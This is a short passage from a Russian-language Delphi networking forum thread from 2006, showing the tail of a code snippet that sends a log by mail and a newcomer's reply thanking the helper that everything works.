  if not SendLog(@Mail) then
    ShowMessage('Error !!!');
end;

dark73

Дата 29.1.2006, 12:48 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 30
Регистрация: 22.1.2006

Репутация: нет
Всего: нет

Списибо, всё пашет =)

1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Delphi: Сети \| Следующая тема »